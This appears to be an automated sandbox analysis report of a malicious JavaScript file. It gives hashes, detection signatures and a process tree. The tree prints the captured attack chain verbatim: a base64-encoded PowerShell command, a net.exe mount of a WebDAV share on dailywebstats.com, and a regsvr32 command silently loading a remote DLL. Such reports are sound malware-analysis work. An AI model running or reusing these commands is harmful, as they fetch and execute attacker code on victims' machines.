Analysis

  • max time kernel
    145s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 15:12

General

  • Target

    30b621b4f6c90139282e88910a5809ffc0d507ba77eed4a5bf0a9a537be71498.js

  • Size

    15KB

  • MD5

    3e0673dac92d86faea681f5a68e3d4ec

  • SHA1

    704d458302b99c0fa7db63b50d1f142e8a7f21f5

  • SHA256

    30b621b4f6c90139282e88910a5809ffc0d507ba77eed4a5bf0a9a537be71498

  • SHA512

    f92bd99402dba678641463a3f996d07bc66e682e360258157534f816ef278f8d504e1700dd1d52bbcbf9e138c86b7c6241258a641f60513d9614d5628c39a5ba

  • SSDEEP

    192:iYeILak6gSnubZfJudq1TTFZD0/6CTHm4cjAxSTqXNxwAtCpcVGVCTVGc3uzeLtL:7FaklLIdC5ZDY

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\30b621b4f6c90139282e88910a5809ffc0d507ba77eed4a5bf0a9a537be71498.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAOQAzADcAMgAyADEAOAA4ADEANgA2ADMAMAAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4188
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:4600
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\19372218816630.dll
          3⤵
            PID:4328
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4376,i,11708048364682646792,608099842549576907,262144 --variations-seed-version --mojo-platform-channel-handle=4088 /prefetch:8
        1⤵
          PID:4172

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kdl1vkwu.hbg.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/4188-0-0x00007FF8655E3000-0x00007FF8655E5000-memory.dmp

          Filesize

          8KB

        • memory/4188-1-0x0000024452380000-0x00000244523A2000-memory.dmp

          Filesize

          136KB

        • memory/4188-11-0x00007FF8655E0000-0x00007FF8660A1000-memory.dmp

          Filesize

          10.8MB

        • memory/4188-12-0x00007FF8655E0000-0x00007FF8660A1000-memory.dmp

          Filesize

          10.8MB

        • memory/4188-15-0x00007FF8655E0000-0x00007FF8660A1000-memory.dmp

          Filesize

          10.8MB